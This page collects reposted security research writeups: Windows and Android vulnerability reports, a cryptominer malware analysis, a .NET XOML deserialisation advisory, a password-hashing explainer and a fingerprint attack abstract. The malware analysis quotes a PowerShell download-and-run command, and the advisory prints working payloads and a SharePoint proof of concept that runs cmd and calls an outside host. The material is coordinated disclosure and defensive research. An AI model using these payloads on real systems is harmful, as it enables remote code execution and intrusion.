A new exploit for zero-day vulnerability CVE-2018-8589

( Original text by By   )

In October 2018, our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in Microsoft’s Windows operating system. Further analysis revealed a zero-day vulnerability in win32k.sys. The exploit was executed by the first stage of a malware installer in order to gain the necessary privileges for persistence on the victim’s system. So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in the Middle East.

Kaspersky Lab products detected this exploit proactively using the following technologies:

  • Behavioral Detection Engine and Automatic Exploit Prevention for endpoints
  • Advanced Sandboxing and Anti-Malware Engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts in this campaign are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

More information about the attack is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com

Technical details

CVE-2018-8589 is a race condition present in win32k!xxxMoveWindow due to improper locking of messages sent synchronously between threads.

The exploit uses the vulnerability by creating two threads with a class and associated window and moves the window of the opposite thread inside the callback of a WM_NCCALCSIZE message in a window procedure that is common to both threads.

WM_NCCALCSIZE message in win32k!xxxCalcValidRects

Termination of the opposite thread on the maximum level of recursion inside the WM_NCCALCSIZE callback will cause asynchronous copyin of the lParam structure controlled by the attacker.

Lack of proper message locking between win32k!xxxCalcValidRects and win32k!SfnINOUTNCCALCSIZE

The exploit populates lParam with pointers to the shellcode and after being successfully copyied to kernel inside win32k!SfnINOUTNCCALCSIZE, the kernel jumps to the user level. The exploit found in the wild only targeted 32-bit versions of Windows 7.

BSOD on an up-to-date version of Windows 7 with our proof of concept

Cryptocurrency Mining Malware uses Various Evasion Techniques, Including Windows Installer, as Part of its Routine

( Original text by by Janus Agcaoili and Gilbert Sison )

The prodigious ascent of cryptocurrency-mining malware was not only brought about by its high profit potential, but also due to its ability to remain undetected within a system, especially when combined with various obfuscation routines. The concept of a stealthy, difficult-to-detect malware operating behind the scenes has proven to be an irresistible proposition for many threat actors, and they’re evidently adding even more techniques, as seen in a cryptocurrency miner (detected as Coinminer.Win32.MALXMR.TIAOODAM) we discovered that uses multiple obfuscation and packing as part of its routine.

Installation behavior

 Figure 1. Infection chain for the malware

Figure 1. Infection chain for the malware

The malware arrives on the victim’s machine as a Windows Installer MSI file, which is notable because Windows Installer is a legitimate application used to install software. Using a real Windows component makes it look less suspicious and potentially allows it to bypass certain security filters.

Upon installation of the sample we analyzed, we found that it will install itself in the directory %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server, which will be created if it isn’t already present in the user’s machine. This directory will contain various files that are used as part of its process:

  • bat – A script file used to terminate a list of antimalware processes that are currently running
  • exe – An unzipping tool used for another file dropped in the directory, icon.ico
  • ico – A password protected zip file posing as an icon file

Unpacking icon.ico reveals two addition files contained within it:

  • ocx – The loader module responsible for decrypting and installing the cryptocurrency mining module
  • bin – The encrypted, UPX-packed and Delphi-compiled cryptocurrency mining module

The next part of the installation process involves creating copies of the kernel file ntdll.dll and the Windows USER component user32.dll in %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server\{Random Numbers}. We theorize that this is done to possibly prevent detection of the malware’s APIs.  This is followed by the following configuration files, including the miner’s, being dropped in the folder %UserTemp%\[Random Number].

 Figure 1. Infection chain for the malware

Figure 2. Configuration file for the miner

The installation interestingly uses Cyrillic (and not English) text during the process, which might indicate the region the malware came from.

 Figure 3. One of the windows displayed during installation

Figure 3. One of the windows displayed during installation

Process injection and watchdog creation analysis

After installation, ex.exe will then perform its routine by unzipping icon.ico before executing the following command:

  • rundll32 default.ocx,Entry u

It will then create three new Service Host (svchost.exe) processes for the purpose of injecting its codes. The first and second SvcHost processes will act as a watchdog, most likely to remain persistent. These are responsible for re-downloading the Windows Installer (.msi) file via a Powershell command when any of the injected svchost processes are terminated:

  • “powershell.exe -command $cli = new-Object System.Net.WebClient;$cli.Headers[‘User-Agent’] = ‘Windows Installer’;$f = ‘C:\%UserTemp%\{random number}.msi’; $cli.DownloadFile(‘hxxps://superdomain1709[.]info/update[.]txt’, $f);Start-Process $f -ArgumentList ‘/q’”

The third SvcHost process is then injected with the coinminer module and executed using the following command:

  • “%system32%\svchost.exe –config={malware configuration path}

 Figure 4. Screenshot of the three Service Host processes

Figure 4. Screenshot of the three Service Host processes

To make detection and analysis even more difficult, the malware also comes with a self-destruct mechanism. First, it creates and executes the following file:

  • {Random Characters}.cmD <- self-delete command-line script

It then deletes every file under its installation directory and removes any trace of installation in the system.

One notable aspect of the malware is that it uses the popular custom Windows Installer builder WiX as a packer, most likely as an additional anti-detection layer. This indicates that the threat actors behind it are exerting extra effort to ensure that their creation remains as stealthy as possible.

Trend Micro Solutions

The evolving aspect of cryptocurrency mining malware — constantly adding evasion techniques — means that powerful security tools are often needed to defend users from these kinds of threats.

Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and messages as well as blocking all related malicious URLs. The Trend Micro™ Deep Discovery™solution has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.

Trend Micro XGen™ security provides a cross-generational blend of threat defense techniques to protect systems from all types of threats, including ransomware and cryptocurrency-mining malware. It features high-fidelity machine learning on gateways and endpoints, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen security protects against today’s threats that bypass traditional controls; exploit known, unknown, or undisclosed vulnerabilities; either steal or encrypt personally identifiable data; or conduct malicious cryptocurrency mining. Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud SecurityUser Protection, and Network Defense.

Indicators of Compromise (IoCs)

Detected as Trojan.BAT.TASKILL.AA

  • 90ae20b30866bc6dbffd41869ccb642b3802f03d18df19e6c1dcab260bbeba7d

Detected as Coinminer.Win32.MALXMR.TIAOODAM

  • 8de725e349bb8d373763470ca6bcfd45e0b86839519f216ff436d3b8452d2248
  • 95bdcfb385acd09029e93f2d0024a4c8e9b3c0be8e5091b63d98e9d88b9cc33b
  • ccd609dc059a7bed7bf33c6d7dbd155fb40cdfd7d0091a9809f7f158ecd181bc
  • a3f34851af892bc0d257f911dd325ebbb959c26533a3c68f15773a633f6c4d38
  • 8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
  • 34d1ba59bc22c0b1c1ce46327efdf3286dec4c54e2482986a0478b27bb3cf48b
  • 8be47acf7e9ce316d0b39b65363fc154a83f6946233eebf494216f01e52c44f5
  • 9a2eaaba3357f4addbc56bc7eaa2288e813fdcd1cb086efb3ad20d912968a251

 

Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data

( Original text by Soroush Dalili )

Vendor: Microsoft
Vendor URL: https://www.microsoft.com/
Versions affected: .NET Framework before September 2018 patch
Systems Affected: .NET Framework Workflow library
Author: Soroush Dalili (@irsdl)
Advisory URL / CVE Identifier: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8421 
Risk: Critical

Summary

In the .NET Framework, workflows can be created by compiling an XOML file using the libraries within the 

System.Workflow

 namespace. The workflow compiler can use the 

/nocode

 and 

/checktypes

arguments to stop execution of untrusted code. The 

/nocode

 is used to disallow the code-behind model that checked the workflows on the server-side to ensure they do not contain any code. The second argument is used to only allow whitelisted types from the configuration file.

All these protection mechanisms could be bypassed by exploiting a deserialisation issue similar to CVE-2018-8284 that was reported previously (https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/).

Location

The 

Microsoft (R) Windows Workflow Compiler

 tool was used as a proof of concept to compile the following XOML files in order to execute code or commands. This tool was used with 

/nocode
/checktypes

 in order to show that code could still be executed:

wfc test.xoml /nocode:+ /checktypes:+

Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time on finding a way to load arbitrary namespaces.

Impact

Low privileged SharePoint users by default have access to their personal sites and can create workflows for themselves. Therefore, authenticated users of SharePoint could potentially execute commands on the server similar to https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/.

Other applications that compile XOML files are also susceptible to code execution.

Details

In order to provide examples to exploit this vulnerability, a number of gadgets were used based on the whitepaper written by Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th JSON Attacks (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf).

Example 1 – using ObjectDataProvider

The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: 

System.Diagnostics.Process.Start())

 without passing any parameters:

<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
     <Rd:ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                         xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                         xmlns:System="clr-namespace:System;assembly=mscorlib, Version=4.0.0.0,    
Culture=neutral, PublicKeyToken=b77a5c561934e089"
                         xmlns:Diag="clr-namespace:System.Diagnostics;assembly=System,             
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                         xmlns:Rd="clr-namespace:System.Windows;Assembly=PresentationFramework, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         xmlns:ODP="clr-
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
                   >   
      <ODP:ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"                 
MethodName="Start">
      </ODP:ObjectDataProvider>
    </Rd:ResourceDictionary>
</SequentialWorkflowActivity>

By compiling the above file or by sending it to a SharePoint server, the following error message was received showing the code was executed:

Cannot start process because a file name has not been provided

Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.

Example 2 – using WorkflowDesigner

The following XOML file could execute a command to open calculator during compile time:

When the class name was invalid, the code was executed twice despite having an error:

<SequentialWorkflowActivity x:Class="INVALID!" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <sap:WorkflowDesigner
    PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
               xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>

When the class name was valid, the code was executed once but with an error:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
   <sap:WorkflowDesigner
     PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
       xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>

Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with 

/nocode /checktypes

 flags), it showed the following error message when tested in SharePoint:

The type or namespace name 'Presentation' does not exist in the namespace 'System.Activities' (are you missing an assembly reference?)

Example 3 – using AssemblyInstaller:

The following example shows another deserialisation gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies.

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobarx"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
   <sci:AssemblyInstaller Path="c:\path\Source.dll" xmlns:sci="clr-namespace:System.Configuration.Install;assembly=System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
   </sci:AssemblyInstaller>
</SequentialWorkflowActivity>

The above payload did not work in SharePoint as it could not find the namespace.

Recommendation

Apply the September 2018 Microsoft patch.

Vendor Communication

17/05/2018 Reported to Microsoft

17/05/2018 Case number assigned by Microsoft

11/09/2018 Patch was released

13/09/2018 Microsoft was contacted to check whether the reporter could publish the details
24/09/2018 Microsoft asked for more time before releasing the details to fix some crashes caused by the fix

02/11/2018 Permission granted from Microsoft to publish the details

Update (11/11/2018)

After releasing the initial potential code execution PoC on SharePoint, Soroush recevied a tip from Alvaro on Twitter to also try 

ProcessStartInfo

 and 

ObjectInstance

. This method worked successfully after creating an appropriate XAML and including the required namespaces.

It is therefore now possible to execute code and commands on an unpatched server which increases risk of this issue from high to critical. Note that the .NET Framework needs updating rather than SharePoint in order to patch this issue similar to CVE-2018-8284.

The following HTTP POST request shows a PoC that could execute code on SharePoint:

POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: TargetHost
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSuppor
tObjects
Content-Type: text/xml; charset=utf-8
Content-Length: 1709
Cookie: [valid cookies or authorization header instead - fixed by burp]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body<ValidateWorkflo
wMarkupAndCreateSupportObjects 
xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" 
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<Rd:ResourceDictionary xmlns:System="clr-namespace:System;assembly=mscorlib, 
Version=4.0.0.0, 
Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Diag="clr-
namespace:System.Diagnostics;assembly=System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Rd="clr-
namespace:System.Windows;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" 
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly=PresentationFramework, 
Version=4.0.0.0, Culture=neutral, 
PublicKeyToken=31bf3856ad364e35">
<ODP:ObjectDataProvider x:Key="LaunchCmd" MethodName="Start">
<ObjectDataProvider.ObjectInstance><Diag:Process><Diag:Process.StartInfo><Diag:Pro
cessStartInfo FileName="cmd.exe" Arguments="/c ping 
foobar.gyi5bjohiab9obycusymb22tkkqaez.burpcollaborator.net"></Diag:ProcessStartInf
o></Diag:Process.StartInfo></Diag:Process>
</ObjectDataProvider.ObjectInstance>
</ODP:ObjectDataProvider>
</Rd:ResourceDictionary>
</SequentialWorkflowActivity>
]]></workflowMarkupText>
<rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMa
rkupAndCreateSupportObjects></soap:Body></soap:Envelope>

If a path was not accessible, the server returned 

System.IO.FileNotFoundException

, and when access was not sufficient to create, change or validate a workflow, the server responded with the 

System.NullReferenceException: Object reference not set to an instance of an object error message

. Normally authenticated users should be able to create workflows in their spaces. The personal site can normally be found by going to the 

/my

 path and that should redirect users to their personal site (if it exists) then the payload can be sent to:

/my/personal/[SomeName]/[SomeSiteName]/_vti_bin/webpartpages.asmx

or

/my/personal/[yourUsername]/_vti_bin/webpartpages.asmx

If users have control over any other sites in SharePoint to create workflows, those paths can be used also.

The following GIF video file shows this issue in practice, exploited to obtain a reverse shell where the permissions were sufficient:

 

 

Password Hashes — How They Work, How They’re Hacked, and How to Maximize Security

( Original text by Cassandra Corrales )

According to Dashlane, the average user has at least 90 online accounts. We trust these accounts to protect highly sensitive information about our social lives, browsing habits, shopping history, finances and more. The only thing between your information and a malicious attacker is your password. That’s a lot of responsibility for a a few characters of (sometimes) arbitrarily chosen text. So what exactly goes into making passwords secure?


How Password Hashes Work

Most passwords are hashed using a one-way hashing function. Hashing functions take the user’s password and use an algorithm to turn it into a fixed-length of data. The result is like a unique fingerprint, called the digest, that cannot be reversed to find the original input. So, even if someone gets access to the database storing your hash password, there is no key to decrypt it back to its original form.

In general, here’s how hashing systems work when you log in to an account:

  1. You enter your password
  2. A hashing function converts your password into a hash
  3. The generated hash is compared to the hash stored in the database
  4. If the the generated hash and the stored hash match, you’re granted access to the account. If the generated hash doesn’t match, you get a login error.
How hash functions work. The digest will be stored in the database. Image from: https://en.wikipedia.org/wiki/Cryptographic_hash_function

Hacking Hashes

Although hashes aren’t meant to be decrypted, they are by no means breach proof. Here’s a list of some popular companies that have had password breaches in recent years:

Popular companies that have experienced password breaches in recent years.

What techniques do hackers use to hack the allegedly un-hackable? Here are some of the most common ways that password hashes are cracked:

  • Dictionary Attacks
  • Brute Force Attacks
  • Lookup Tables
  • Reverse Lookup Tables

*Note the difference between lookup tables and reverse lookup tables. Lookup tables begin with the precomputed password guess hashes, while reverse lookup tables begin with the table of password hashes from the user accounts database.

  • Rainbow Tables

Rainbow tables are very similar to reverse lookup tables, except rainbow tables use reduction functions to make significantly smaller lookup tables. The result is a trade-off, where rainbow tables are slower, but require less storage space.


How to Maximize Password Security — As a User:

  1. Start with a strong password
  • The longer the password, the better. A lengthy password is less vulnerable to brute force attacks. Sentences are good.
  • Use random words. Less association between the words in your password makes it less vulnerable to dictionary attacks
  • Mix in different characters and numbers. Again, this makes you slightly less vulnerable to dictionary attacks.

2. Change up your password from time to time and from app to app

  • If a password breach happens with one account, that password hash has been cracked and needs to be changed for every account it’s used on.

How to Maximize Password Security — As a Developer:

  1. Stay away from SHA-1 or MD5 hashing functions

SHA-1 and MD5 are outdated and have already been targeted by numerous table attacks. They are fast cryptographic functions and are therefore easier to hack.

Better hashing function options are computationally expensive and therefore more difficult to hack. These are some better hashing algorithms that will minimize password security risks in your application:

  • Argon2 — Winner of the password hashing competition. Uses a lot of memory, so it’s difficult to attack.
  • PBKDF2 — Has no known vulnerabilities after 15 years of extensive use, although it is lower on memory use.
  • scrypt — Very safe, but may have some limitations because it was not designed for password storage.
  • bcrypt — An adaptive hashing function, can be configured to remain slow and therefore resistant to attacks.

2. Always add Salt

A salt is a random string you can add to the password before hashing. This will transform the password into a completely different string and will thus generate a different hash each time.

Resulting outputs when you hash the password “hello” with different salts. Image from: https://crackstation.net/hashing-security.htm#attacks

The “better” hashing algorithms listed above all add salts, but if you need to use another hashing function, don’t forget the salt.

Sources:

https://crackstation.net/hashing-security.htm#attacks

CVE-2018-9539: Use-after-free vulnerability in privileged Android service

( Original text by Tamir Zahavi-Brunner )

As part of our platform research in Zimperium zLabs, I have recently discovered a vulnerability in a privileged Android service called MediaCasService and reported it to Google. Google designated it as CVE-2018-9539 and patched it in the November security update (2018-11-01 patch level).

In this blog post, I will describe the technical details of this use-after-free vulnerability, along with some background information and the details of the proof-of-concept I wrote that triggers it. Link to the full proof-of-concept is available at the end of the blog post.

MediaCasService

The Android service called MediaCasService (AKA android.hardware.cas) allows apps to descramble protected media streams. The communication between apps and MediaCasService is performed mostly through two interfaces/objects: Cas, which manages the keys (reference: MediaCas Java API), and Descrambler, which performs the actual descramble operation (reference: MediaDescrambler Java API).

Underneath the MediaCasService API, the actual operations are performed by a plugin, which is a library that the service loads. In our case, the relevant plugin is the ClearKey plugin, whose library is libclearkeycasplugin.so.

In order to descramble data, apps need to use both the Cas object and the Descrambler object. The Descrambler object is used for the actual descramble operation, but in order to do that, it needs to be linked to a session with a key. In order to manage sessions and add keys to them, the Cas object is used.

Internally, the ClearKey plugin manages sessions in the ClearKeySessionLibrary, which is essentially a hash table. The keys are session IDs, while the values are the session objects themselves. Apps receive the session IDs which they can use to refer to the session objects in the service.

After creating a session and attaching a key to it, apps are in charge of linking it to a Descrambler object. The descrambler object has a member called mCASSession, which is a reference to its session object and is used in descramble operations. While there is no obligation to do so, once a Descrambler session is linked with a session object, an app can remove that session from the session library. In that case, the only reference to the session object will be through the Descrambler’s mCASSession.

An important note is that references to session objects are held through strong pointers (sp class). Hence, each session object has a reference count, and once that reference count reaches zero the session object is released. References are either through the session library or through a Descrambler’s mCASSession.

The vulnerability

Let’s take a look at ClearKey’s descramble method:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can see, the session object referenced by mCASSession is used here in order to decrypt, but its reference count does not increase while it is being used. This means that it is possible for the decrypt function to run with a session object which was released, as its reference count was decreased to zero.

This allows an attacker to cause a use-after-free (the session object will be used after it was freed) through a race condition. Before running descramble, the attacker would remove the reference to the session object from the session library, leaving the Descrambler’s mCASSession as the only reference to the session. Then, the attacker would run descramble at the same time as setting the session of the Descrambler to another session, which can cause a race condition. Setting a different session for the Descrambler would release the original session object (its reference count would drop to zero); if this happens in the middle of mCASSession->decrypt, then decrypt would be using a freed session object.

Proof of concept

Before going into the details of the PoC, there is one note about its effect.

In this PoC, nothing gets allocated instead of the released session object; we just let the decrypt function use a freed object. One of the members of the session object that decrypt uses is a mKeyLock, which is essentially a mutex that decrypt attempts to lock:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can expect, when a session object is released, the mutex of its mKeyLock is destroyed. Therefore, when the use-after-free is triggered, decrypt attempts to use an already destroyed mutex.

Interestingly, this is where a recent change comes into place. Up until Android 8.1, attempting to use a destroyed mutex would return an error, which in this case would simply be ignored. Since Android 9, attempting to use a destroyed mutex results in an abort, which crashes the process:

Snippet from bionic/libc/bionic/pthread_mutex.cpp (source)

 

This means that while the PoC should always cause a use-after-free, only Android 9 has a way to detect whether it worked or not. In older versions, there is no noticeable effect. Therefore, the PoC is mainly intended to run on Android 9.

After covering the effect of the PoC, here is a high-level overview of the actions it performs:

  1. Initialize Cas and Descrambler objects.
  2. Use the Cas object in order to create two sessions: session1 and session2. Both of them will be referenced from the session library.
  3. Link session1 to the Descrambler object, and then use the Cas object in order to remove it from the session library. Now, session1 only has a reference from the Descrambler object; its reference count is one.
  4. At the same time:
    • Run multiple threads which perform descramble through the Descrambler object.
    • Set the session of the Descrambler object to session2.
  5. If running descramble in one of the threads did not return, it means that the PoC was successful and the service crashed. If not, retry again from step 2.

Full source code for the PoC is available on GitHub .

Timeline

  • 08.2018 – Vulnerability discovered
  • 08.2018 – Vulnerability details + PoC sent to Google
  • 11.2018 – Google distributed patches

If you have any questions, you are welcome to DM me on Twitter (@tamir_zb).

 

DeepMasterPrints: Generating MasterPrints for Dictionary Attacks via Latent Variable Evolution

( Original text by Philip BontragerAditi RoyJulian TogeliusNasir MemonArun Ross )

Recent research has demonstrated the vulnerability of fingerprint recognition systems to dictionary attacks based on MasterPrints. MasterPrints are real or synthetic fingerprints that can fortuitously match with a large number of fingerprints thereby undermining the security afforded by fingerprint systems. Previous work by Roy et al. generated synthetic MasterPrints at the feature-level. In this work we generate complete image-level MasterPrints known as DeepMasterPrints, whose attack accuracy is found to be much superior than that of previous methods. The proposed method, referred to as Latent Variable Evolution, is based on training a Generative Adversarial Network on a set of real fingerprint images. Stochastic search in the form of the Covariance Matrix Adaptation Evolution Strategy is then used to search for latent input variables to the generator network that can maximize the number of impostor matches as assessed by a fingerprint recognizer. Experiments convey the efficacy of the proposed method in generating DeepMasterPrints. The underlying method is likely to have broad applications in fingerprint security as well as fingerprint synthesis.

Download full pdf doc